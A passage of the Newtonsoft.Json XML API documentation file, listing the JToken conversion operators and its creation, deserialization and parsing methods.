<param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Single}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Decimal\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Double\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Single\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.String\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte[]\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Guid\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Guid\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Guid}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.TimeSpan\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.TimeSpan}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Uri\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Uri\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Boolean)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTimeOffset)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Byte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.SByte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.SByte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Boolean})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTime})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTimeOffset})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Decimal})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Double})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTime)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Single})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Decimal)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Double)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Single)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.String)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.String\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte[])~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/>[] to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Uri)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Uri\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.TimeSpan)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.TimeSpan})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Guid)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Guid})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.CreateReader\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonReader\"/> for this token.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that can be used to read this token and its descendants.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when reading the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1(Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member 